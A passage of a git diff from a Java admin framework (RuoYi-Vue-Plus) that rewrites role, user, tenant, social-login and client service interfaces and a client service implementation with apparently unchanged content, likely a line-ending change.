deleteRoleByIds(Long[] roleIds); - - /** - * 取消授权用户角色 - * - * @param userRole 用户和角色关联信息 - * @return 结果 - */ - int deleteAuthUser(SysUserRole userRole); - - /** - * 批量取消授权用户角色 - * - * @param roleId 角色ID - * @param userIds 需要取消授权的用户数据ID - * @return 结果 - */ - int deleteAuthUsers(Long roleId, Long[] userIds); - - /** - * 批量选择授权用户角色 - * - * @param roleId 角色ID - * @param userIds 需要删除的用户数据ID - * @return 结果 - */ - int insertAuthUsers(Long roleId, Long[] userIds); - - void cleanOnlineUserByRole(Long roleId); - - void cleanOnlineUser(List userIds); - - List getRoleList(); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.SysUserRole; +import org.dromara.system.domain.bo.SysRoleBo; +import org.dromara.system.domain.vo.SysRoleVo; + +import java.util.List; +import java.util.Set; + +/** + * 角色业务层 + * + * @author Lion Li + */ +public interface ISysRoleService { + + + TableDataInfo selectPageRoleList(SysRoleBo role, PageQuery pageQuery); + + /** + * 根据条件分页查询角色数据 + * + * @param role 角色信息 + * @return 角色数据集合信息 + */ + List selectRoleList(SysRoleBo role); + + /** + * 根据用户ID查询角色列表 + * + * @param userId 用户ID + * @return 角色列表 + */ + List selectRolesByUserId(Long userId); + + /** + * 根据用户ID查询角色列表(包含被授权状态) + * + * @param userId 用户ID + * @return 角色列表 + */ + List selectRolesAuthByUserId(Long userId); + + /** + * 根据用户ID查询角色权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + Set selectRolePermissionByUserId(Long userId); + + /** + * 查询所有角色 + * + * @return 角色列表 + */ + List selectRoleAll(); + + /** + * 根据用户ID获取角色选择框列表 + * + * @param userId 用户ID + * @return 选中角色ID列表 + */ + List selectRoleListByUserId(Long userId); + + /** + * 通过角色ID查询角色 + * + * @param roleId 角色ID + * @return 角色对象信息 + */ + SysRoleVo selectRoleById(Long roleId); + + /** + * 通过角色ID串查询角色 + * + * @param roleIds 角色ID串 + * @return 角色列表信息 + */ + List selectRoleByIds(List roleIds); + + /** + * 校验角色名称是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + boolean checkRoleNameUnique(SysRoleBo role); + + /** + * 校验角色权限是否唯一 + * + * @param role 角色信息 + * @return 结果 + */ + boolean checkRoleKeyUnique(SysRoleBo role); + + /** + * 校验角色是否允许操作 + * + * @param role 角色信息 + */ + void checkRoleAllowed(SysRoleBo role); + + /** + * 校验角色是否有数据权限 + * + * @param roleId 角色id + */ + void checkRoleDataScope(Long roleId); + + /** + * 通过角色ID查询角色使用数量 + * + * @param roleId 角色ID + * @return 结果 + */ + long countUserRoleByRoleId(Long roleId); + + /** + * 新增保存角色信息 + * + * @param bo 角色信息 + * @return 结果 + */ + int insertRole(SysRoleBo bo); + + /** + * 修改保存角色信息 + * + * @param bo 角色信息 + * @return 结果 + */ + int updateRole(SysRoleBo bo); + + /** + * 修改角色状态 + * + * @param roleId 角色ID + * @param status 角色状态 + * @return 结果 + */ + int updateRoleStatus(Long roleId, String status); + + /** + * 修改数据权限信息 + * + * @param bo 角色信息 + * @return 结果 + */ + int authDataScope(SysRoleBo bo); + + /** + * 通过角色ID删除角色 + * + * @param roleId 角色ID + * @return 结果 + */ + int deleteRoleById(Long roleId); + + /** + * 批量删除角色信息 + * + * @param roleIds 需要删除的角色ID + * @return 结果 + */ + int deleteRoleByIds(Long[] roleIds); + + /** + * 取消授权用户角色 + * + * @param userRole 用户和角色关联信息 + * @return 结果 + */ + int deleteAuthUser(SysUserRole userRole); + + /** + * 批量取消授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要取消授权的用户数据ID + * @return 结果 + */ + int deleteAuthUsers(Long roleId, Long[] userIds); + + /** + * 批量选择授权用户角色 + * + * @param roleId 角色ID + * @param userIds 需要删除的用户数据ID + * @return 结果 + */ + int insertAuthUsers(Long roleId, Long[] userIds); + + void cleanOnlineUserByRole(Long roleId); + + void cleanOnlineUser(List userIds); + + List getRoleList(); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysSocialService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysSocialService.java index cc7016e..0978241 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysSocialService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysSocialService.java @@ -1,53 +1,53 @@ -package org.dromara.system.service; - -import org.dromara.system.domain.bo.SysSocialBo; -import org.dromara.system.domain.vo.SysSocialVo; - -import java.util.List; - -/** - * 社会化关系Service接口 - * - * @author thiszhc - */ -public interface ISysSocialService { - - - /** - * 查询社会化关系 - */ - SysSocialVo queryById(String id); - - /** - * 查询社会化关系列表 - */ - List queryList(SysSocialBo bo); - - /** - * 查询社会化关系列表 - */ - List queryListByUserId(Long userId); - - /** - * 新增授权关系 - */ - Boolean insertByBo(SysSocialBo bo); - - /** - * 更新社会化关系 - */ - Boolean updateByBo(SysSocialBo bo); - - /** - * 删除社会化关系信息 - */ - Boolean deleteWithValidById(Long id); - - - /** - * 根据 authId 查询 - */ - List selectByAuthId(String authId); - - -} +package org.dromara.system.service; + +import org.dromara.system.domain.bo.SysSocialBo; +import org.dromara.system.domain.vo.SysSocialVo; + +import java.util.List; + +/** + * 社会化关系Service接口 + * + * @author thiszhc + */ +public interface ISysSocialService { + + + /** + * 查询社会化关系 + */ + SysSocialVo queryById(String id); + + /** + * 查询社会化关系列表 + */ + List queryList(SysSocialBo bo); + + /** + * 查询社会化关系列表 + */ + List queryListByUserId(Long userId); + + /** + * 新增授权关系 + */ + Boolean insertByBo(SysSocialBo bo); + + /** + * 更新社会化关系 + */ + Boolean updateByBo(SysSocialBo bo); + + /** + * 删除社会化关系信息 + */ + Boolean deleteWithValidById(Long id); + + + /** + * 根据 authId 查询 + */ + List selectByAuthId(String authId); + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantPackageService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantPackageService.java index d060b68..65c559b 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantPackageService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantPackageService.java @@ -1,62 +1,62 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysTenantPackageBo; -import org.dromara.system.domain.vo.SysTenantPackageVo; - -import java.util.Collection; -import java.util.List; - -/** - * 租户套餐Service接口 - * - * @author Michelle.Chung - */ -public interface ISysTenantPackageService { - - /** - * 查询租户套餐 - */ - SysTenantPackageVo queryById(Long packageId); - - /** - * 查询租户套餐列表 - */ - TableDataInfo queryPageList(SysTenantPackageBo bo, PageQuery pageQuery); - - /** - * 查询租户套餐已启用列表 - */ - List selectList(); - - /** - * 查询租户套餐列表 - */ - List queryList(SysTenantPackageBo bo); - - /** - * 新增租户套餐 - */ - Boolean insertByBo(SysTenantPackageBo bo); - - /** - * 修改租户套餐 - */ - Boolean updateByBo(SysTenantPackageBo bo); - - /** - * 校验套餐名称是否唯一 - */ - boolean checkPackageNameUnique(SysTenantPackageBo bo); - - /** - * 修改套餐状态 - */ - int updatePackageStatus(SysTenantPackageBo bo); - - /** - * 校验并批量删除租户套餐信息 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysTenantPackageBo; +import org.dromara.system.domain.vo.SysTenantPackageVo; + +import java.util.Collection; +import java.util.List; + +/** + * 租户套餐Service接口 + * + * @author Michelle.Chung + */ +public interface ISysTenantPackageService { + + /** + * 查询租户套餐 + */ + SysTenantPackageVo queryById(Long packageId); + + /** + * 查询租户套餐列表 + */ + TableDataInfo queryPageList(SysTenantPackageBo bo, PageQuery pageQuery); + + /** + * 查询租户套餐已启用列表 + */ + List selectList(); + + /** + * 查询租户套餐列表 + */ + List queryList(SysTenantPackageBo bo); + + /** + * 新增租户套餐 + */ + Boolean insertByBo(SysTenantPackageBo bo); + + /** + * 修改租户套餐 + */ + Boolean updateByBo(SysTenantPackageBo bo); + + /** + * 校验套餐名称是否唯一 + */ + boolean checkPackageNameUnique(SysTenantPackageBo bo); + + /** + * 修改套餐状态 + */ + int updatePackageStatus(SysTenantPackageBo bo); + + /** + * 校验并批量删除租户套餐信息 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantService.java index 46f0751..4e8370e 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysTenantService.java @@ -1,92 +1,92 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysTenantBo; -import org.dromara.system.domain.vo.SysTenantVo; - -import java.util.Collection; -import java.util.List; - -/** - * 租户Service接口 - * - * @author Michelle.Chung - */ -public interface ISysTenantService { - - /** - * 查询租户 - */ - SysTenantVo queryById(Long id); - - /** - * 基于租户ID查询租户 - */ - SysTenantVo queryByTenantId(String tenantId); - - /** - * 基于租户编码查询租户 - */ - SysTenantVo queryByTenantCode(String tenantCode); - - /** - * 查询租户列表 - */ - TableDataInfo queryPageList(SysTenantBo bo, PageQuery pageQuery); - - /** - * 查询租户列表 - */ - List queryList(SysTenantBo bo); - - /** - * 新增租户 - */ - Boolean insertByBo(SysTenantBo bo); - - /** - * 修改租户 - */ - Boolean updateByBo(SysTenantBo bo); - - /** - * 修改租户状态 - */ - int updateTenantStatus(SysTenantBo bo); - - /** - * 校验租户是否允许操作 - */ - void checkTenantAllowed(String tenantId); - - /** - * 校验并批量删除租户信息 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 校验企业名称是否唯一 - */ - boolean checkCompanyNameUnique(SysTenantBo bo); - - /** - * 校验账号余额 - */ - boolean checkAccountBalance(String tenantId); - - /** - * 校验有效期 - */ - boolean checkExpireTime(String tenantId); - - /** - * 同步租户套餐 - */ - Boolean syncTenantPackage(String tenantId, Long packageId); - - /** - * 同步租户字典 - */ - void syncTenantDict(); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysTenantBo; +import org.dromara.system.domain.vo.SysTenantVo; + +import java.util.Collection; +import java.util.List; + +/** + * 租户Service接口 + * + * @author Michelle.Chung + */ +public interface ISysTenantService { + + /** + * 查询租户 + */ + SysTenantVo queryById(Long id); + + /** + * 基于租户ID查询租户 + */ + SysTenantVo queryByTenantId(String tenantId); + + /** + * 基于租户编码查询租户 + */ + SysTenantVo queryByTenantCode(String tenantCode); + + /** + * 查询租户列表 + */ + TableDataInfo queryPageList(SysTenantBo bo, PageQuery pageQuery); + + /** + * 查询租户列表 + */ + List queryList(SysTenantBo bo); + + /** + * 新增租户 + */ + Boolean insertByBo(SysTenantBo bo); + + /** + * 修改租户 + */ + Boolean updateByBo(SysTenantBo bo); + + /** + * 修改租户状态 + */ + int updateTenantStatus(SysTenantBo bo); + + /** + * 校验租户是否允许操作 + */ + void checkTenantAllowed(String tenantId); + + /** + * 校验并批量删除租户信息 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 校验企业名称是否唯一 + */ + boolean checkCompanyNameUnique(SysTenantBo bo); + + /** + * 校验账号余额 + */ + boolean checkAccountBalance(String tenantId); + + /** + * 校验有效期 + */ + boolean checkExpireTime(String tenantId); + + /** + * 同步租户套餐 + */ + Boolean syncTenantPackage(String tenantId, Long packageId); + + /** + * 同步租户字典 + */ + void syncTenantDict(); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysUserService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysUserService.java index 0291c4b..9a6399a 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysUserService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysUserService.java @@ -1,250 +1,250 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.vo.SysUserExportVo; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.system.domain.vo.UserSumVo; - -import java.util.List; - -/** - * 用户 业务层 - * - * @author Lion Li - */ -public interface ISysUserService { - - - TableDataInfo selectPageUserList(SysUserBo user, PageQuery pageQuery); - - /** - * 根据条件分页查询用户列表 - * - * @param user 用户信息 - * @return 用户信息集合信息 - */ - List selectUserExportList(SysUserBo user); - - /** - * 根据条件分页查询已分配用户角色列表 - * - * @param user 用户信息 - * @return 用户信息集合信息 - */ - TableDataInfo selectAllocatedList(SysUserBo user, PageQuery pageQuery); - - /** - * 根据条件分页查询未分配用户角色列表 - * - * @param user 用户信息 - * @return 用户信息集合信息 - */ - TableDataInfo selectUnallocatedList(SysUserBo user, PageQuery pageQuery); - - /** - * 通过用户名查询用户 - * - * @param userName 用户名 - * @return 用户对象信息 - */ - SysUserVo selectUserByUserName(String userName); - - /** - * 通过手机号查询用户 - * - * @param phonenumber 手机号 - * @return 用户对象信息 - */ - SysUserVo selectUserByPhonenumber(String phonenumber); - - /** - * 通过用户ID查询用户 - * - * @param userId 用户ID - * @return 用户对象信息 - */ - SysUserVo selectUserById(Long userId); - - /** - * 通过用户ID串查询用户 - * - * @param userIds 用户ID串 - * @param deptId 部门id - * @return 用户列表信息 - */ - List selectUserByIds(List userIds, Long deptId); - - /** - * 根据用户ID查询用户所属角色组 - * - * @param userId 用户ID - * @return 结果 - */ - String selectUserRoleGroup(Long userId); - - /** - * 根据用户ID查询用户所属岗位组 - * - * @param userId 用户ID - * @return 结果 - */ - String selectUserPostGroup(Long userId); - - /** - * 校验用户名称是否唯一 - * - * @param user 用户信息 - * @return 结果 - */ - boolean checkUserNameUnique(SysUserBo user); - - /** - * 校验手机号码是否唯一 - * - * @param user 用户信息 - * @return 结果 - */ - boolean checkPhoneUnique(SysUserBo user); - - /** - * 校验email是否唯一 - * - * @param user 用户信息 - * @return 结果 - */ - boolean checkEmailUnique(SysUserBo user); - - /** - * 校验用户是否允许操作 - * - * @param userId 用户ID - */ - void checkUserAllowed(Long userId); - - /** - * 校验用户是否有数据权限 - * - * @param userId 用户id - */ - void checkUserDataScope(Long userId); - - /** - * 新增用户信息 - * - * @param user 用户信息 - * @return 结果 - */ - int insertUser(SysUserBo user); - - /** - * 注册用户信息 - * - * @param user 用户信息 - * @return 结果 - */ - boolean registerUser(SysUserBo user, String tenantId); - - /** - * 修改用户信息 - * - * @param user 用户信息 - * @return 结果 - */ - int updateUser(SysUserBo user); - - /** - * 用户授权角色 - * - * @param userId 用户ID - * @param roleIds 角色组 - */ - void insertUserAuth(Long userId, Long[] roleIds); - - /** - * 修改用户状态 - * - * @param userId 用户ID - * @param status 帐号状态 - * @return 结果 - */ - int updateUserStatus(Long userId, String status); - - /** - * 修改用户基本信息 - * - * @param user 用户信息 - * @return 结果 - */ - int updateUserProfile(SysUserBo user); - - /** - * 修改用户头像 - * - * @param userId 用户ID - * @param avatar 头像地址 - * @return 结果 - */ - boolean updateUserAvatar(Long userId, Long avatar); - - /** - * 重置用户密码 - * - * @param userId 用户ID - * @param password 密码 - * @return 结果 - */ - int resetUserPwd(Long userId, String password); - - /** - * 通过用户ID删除用户 - * - * @param userId 用户ID - * @return 结果 - */ - int deleteUserById(Long userId); - - /** - * 批量删除用户信息 - * - * @param userIds 需要删除的用户ID - * @return 结果 - */ - int deleteUserByIds(Long[] userIds); - - /** - * 通过部门id查询当前部门所有用户 - * - * @param deptId 部门id - * @return 结果 - */ - List selectUserListByDept(Long deptId); - - /** - * 获取用户统计数据 - * @param user - * @return - */ - UserSumVo selectUserSum(SysUserBo user); - - /** - * 分页查询用户列表 - * @param user - * @param pageQuery - * @return - */ - TableDataInfo selectPageGetUserList(SysUserBo user, PageQuery pageQuery); - - List getOrderTypeIds(); - - TableDataInfo getJSList(SysUserBo user, PageQuery pageQuery); - - /** - * 分页查询用户列表 - * @param bo - * @param pageQuery - * @return - */ - TableDataInfo selectPageList(SysUserBo bo, PageQuery pageQuery); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.vo.SysUserExportVo; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.system.domain.vo.UserSumVo; + +import java.util.List; + +/** + * 用户 业务层 + * + * @author Lion Li + */ +public interface ISysUserService { + + + TableDataInfo selectPageUserList(SysUserBo user, PageQuery pageQuery); + + /** + * 根据条件分页查询用户列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + List selectUserExportList(SysUserBo user); + + /** + * 根据条件分页查询已分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + TableDataInfo selectAllocatedList(SysUserBo user, PageQuery pageQuery); + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param user 用户信息 + * @return 用户信息集合信息 + */ + TableDataInfo selectUnallocatedList(SysUserBo user, PageQuery pageQuery); + + /** + * 通过用户名查询用户 + * + * @param userName 用户名 + * @return 用户对象信息 + */ + SysUserVo selectUserByUserName(String userName); + + /** + * 通过手机号查询用户 + * + * @param phonenumber 手机号 + * @return 用户对象信息 + */ + SysUserVo selectUserByPhonenumber(String phonenumber); + + /** + * 通过用户ID查询用户 + * + * @param userId 用户ID + * @return 用户对象信息 + */ + SysUserVo selectUserById(Long userId); + + /** + * 通过用户ID串查询用户 + * + * @param userIds 用户ID串 + * @param deptId 部门id + * @return 用户列表信息 + */ + List selectUserByIds(List userIds, Long deptId); + + /** + * 根据用户ID查询用户所属角色组 + * + * @param userId 用户ID + * @return 结果 + */ + String selectUserRoleGroup(Long userId); + + /** + * 根据用户ID查询用户所属岗位组 + * + * @param userId 用户ID + * @return 结果 + */ + String selectUserPostGroup(Long userId); + + /** + * 校验用户名称是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + boolean checkUserNameUnique(SysUserBo user); + + /** + * 校验手机号码是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + boolean checkPhoneUnique(SysUserBo user); + + /** + * 校验email是否唯一 + * + * @param user 用户信息 + * @return 结果 + */ + boolean checkEmailUnique(SysUserBo user); + + /** + * 校验用户是否允许操作 + * + * @param userId 用户ID + */ + void checkUserAllowed(Long userId); + + /** + * 校验用户是否有数据权限 + * + * @param userId 用户id + */ + void checkUserDataScope(Long userId); + + /** + * 新增用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + int insertUser(SysUserBo user); + + /** + * 注册用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + boolean registerUser(SysUserBo user, String tenantId); + + /** + * 修改用户信息 + * + * @param user 用户信息 + * @return 结果 + */ + int updateUser(SysUserBo user); + + /** + * 用户授权角色 + * + * @param userId 用户ID + * @param roleIds 角色组 + */ + void insertUserAuth(Long userId, Long[] roleIds); + + /** + * 修改用户状态 + * + * @param userId 用户ID + * @param status 帐号状态 + * @return 结果 + */ + int updateUserStatus(Long userId, String status); + + /** + * 修改用户基本信息 + * + * @param user 用户信息 + * @return 结果 + */ + int updateUserProfile(SysUserBo user); + + /** + * 修改用户头像 + * + * @param userId 用户ID + * @param avatar 头像地址 + * @return 结果 + */ + boolean updateUserAvatar(Long userId, Long avatar); + + /** + * 重置用户密码 + * + * @param userId 用户ID + * @param password 密码 + * @return 结果 + */ + int resetUserPwd(Long userId, String password); + + /** + * 通过用户ID删除用户 + * + * @param userId 用户ID + * @return 结果 + */ + int deleteUserById(Long userId); + + /** + * 批量删除用户信息 + * + * @param userIds 需要删除的用户ID + * @return 结果 + */ + int deleteUserByIds(Long[] userIds); + + /** + * 通过部门id查询当前部门所有用户 + * + * @param deptId 部门id + * @return 结果 + */ + List selectUserListByDept(Long deptId); + + /** + * 获取用户统计数据 + * @param user + * @return + */ + UserSumVo selectUserSum(SysUserBo user); + + /** + * 分页查询用户列表 + * @param user + * @param pageQuery + * @return + */ + TableDataInfo selectPageGetUserList(SysUserBo user, PageQuery pageQuery); + + List getOrderTypeIds(); + + TableDataInfo getJSList(SysUserBo user, PageQuery pageQuery); + + /** + * 分页查询用户列表 + * @param bo + * @param pageQuery + * @return + */ + TableDataInfo selectPageList(SysUserBo bo, PageQuery pageQuery); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysClientServiceImpl.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysClientServiceImpl.java index 1c69243..55bbba2 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysClientServiceImpl.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysClientServiceImpl.java @@ -1,151 +1,151 @@ -package org.dromara.system.service.impl; - -import cn.hutool.crypto.SecureUtil; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.constant.CacheNames; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.SysClient; -import org.dromara.system.domain.bo.SysClientBo; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.system.mapper.SysClientMapper; -import org.dromara.system.service.ISysClientService; -import org.springframework.cache.annotation.CacheEvict; -import org.springframework.cache.annotation.Cacheable; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; - -/** - * 客户端管理Service业务层处理 - * - * @author Michelle.Chung - * @date 2023-06-18 - */ -@Slf4j -@RequiredArgsConstructor -@Service -public class SysClientServiceImpl implements ISysClientService { - - private final SysClientMapper baseMapper; - - /** - * 查询客户端管理 - */ - @Override - public SysClientVo queryById(Long id) { - SysClientVo vo = baseMapper.selectVoById(id); - vo.setGrantTypeList(List.of(vo.getGrantType().split(","))); - return vo; - } - - - /** - * 查询客户端管理 - */ - @Cacheable(cacheNames = CacheNames.SYS_CLIENT, key = "#clientId") - @Override - public SysClientVo queryByClientId(String clientId) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysClient::getClientId, clientId)); - } - - /** - * 查询客户端管理列表 - */ - @Override - public TableDataInfo queryPageList(SysClientBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - result.getRecords().forEach(r -> r.setGrantTypeList(List.of(r.getGrantType().split(",")))); - return TableDataInfo.build(result); - } - - /** - * 查询客户端管理列表 - */ - @Override - public List queryList(SysClientBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(SysClientBo bo) { - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(StringUtils.isNotBlank(bo.getClientId()), SysClient::getClientId, bo.getClientId()); - lqw.eq(StringUtils.isNotBlank(bo.getClientKey()), SysClient::getClientKey, bo.getClientKey()); - lqw.eq(StringUtils.isNotBlank(bo.getClientSecret()), SysClient::getClientSecret, bo.getClientSecret()); - lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysClient::getStatus, bo.getStatus()); - lqw.orderByAsc(SysClient::getId); - return lqw; - } - - /** - * 新增客户端管理 - */ - @Override - public Boolean insertByBo(SysClientBo bo) { - SysClient add = MapstructUtils.convert(bo, SysClient.class); - validEntityBeforeSave(add); - add.setGrantType(String.join(",", bo.getGrantTypeList())); - // 生成clientid - String clientKey = bo.getClientKey(); - String clientSecret = bo.getClientSecret(); - add.setClientId(SecureUtil.md5(clientKey + clientSecret)); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改客户端管理 - */ - @CacheEvict(cacheNames = CacheNames.SYS_CLIENT, key = "#bo.clientId") - @Override - public Boolean updateByBo(SysClientBo bo) { - SysClient update = MapstructUtils.convert(bo, SysClient.class); - validEntityBeforeSave(update); - update.setGrantType(String.join(",", bo.getGrantTypeList())); - return baseMapper.updateById(update) > 0; - } - - /** - * 修改状态 - */ - @CacheEvict(cacheNames = CacheNames.SYS_CLIENT, key = "#clientId") - @Override - public int updateUserStatus(String clientId, String status) { - return baseMapper.update(null, - new LambdaUpdateWrapper() - .set(SysClient::getStatus, status) - .eq(SysClient::getClientId, clientId)); - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(SysClient entity) { - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 批量删除客户端管理 - */ - @CacheEvict(cacheNames = CacheNames.SYS_CLIENT, allEntries = true) - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if (isValid) { - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.system.service.impl; + +import cn.hutool.crypto.SecureUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.CacheNames; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.SysClient; +import org.dromara.system.domain.bo.SysClientBo; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.system.mapper.SysClientMapper; +import org.dromara.system.service.ISysClientService; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; + +/** + * 客户端管理Service业务层处理 + * + * @author Michelle.Chung + * @date 2023-06-18 + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class SysClientServiceImpl implements ISysClientService { + + private final SysClientMapper baseMapper; + + /** + * 查询客户端管理 + */ + @Override + public SysClientVo queryById(Long id) { + SysClientVo vo = baseMapper.selectVoById(id); + vo.setGrantTypeList(List.of(vo.getGrantType().split(","))); + return vo; + } + + + /** + * 查询客户端管理 + */ + @Cacheable(cacheNames = CacheNames.SYS_CLIENT, key = "#clientId") + @Override + public SysClientVo queryByClientId(String clientId) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(SysClient::getClientId, clientId)); + } + + /** + * 查询客户端管理列表 + */ + @Override + public TableDataInfo queryPageList(SysClientBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + result.getRecords().forEach(r -> r.setGrantTypeList(List.of(r.getGrantType().split(",")))); + return TableDataInfo.build(result); + } + + /** + * 查询客户端管理列表 + */ + @Override + public List queryList(SysClientBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(SysClientBo bo) { + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(StringUtils.isNotBlank(bo.getClientId()), SysClient::getClientId, bo.getClientId()); + lqw.eq(StringUtils.isNotBlank(bo.getClientKey()), SysClient::getClientKey, bo.getClientKey()); + lqw.eq(StringUtils.isNotBlank(bo.getClientSecret()), SysClient::getClientSecret, bo.getClientSecret()); + lqw.eq(StringUtils.isNotBlank(bo.getStatus()), SysClient::getStatus, bo.getStatus()); + lqw.orderByAsc(SysClient::getId); + return lqw; + } + + /** + * 新增客户端管理 + */ + @Override + public Boolean insertByBo(SysClientBo bo) { + SysClient add = MapstructUtils.convert(bo, SysClient.class); + validEntityBeforeSave(add); + add.setGrantType(String.join(",", bo.getGrantTypeList())); + // 生成clientid + String clientKey = bo.getClientKey(); + String clientSecret = bo.getClientSecret(); + add.setClientId(SecureUtil.md5(clientKey + clientSecret)); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改客户端管理 + */ + @CacheEvict(cacheNames = CacheNames.SYS_CLIENT, key = "#bo.clientId") + @Override + public Boolean updateByBo(SysClientBo bo) { + SysClient update = MapstructUtils.convert(bo, SysClient.class); + validEntityBeforeSave(update); + update.setGrantType(String.join(",", bo.getGrantTypeList())); + return baseMapper.updateById(update) > 0; + } + + /** + * 修改状态 + */ + @CacheEvict(cacheNames = CacheNames.SYS_CLIENT, key = "#clientId") + @Override + public int updateUserStatus(String clientId, String status) { + return baseMapper.update(null, + new 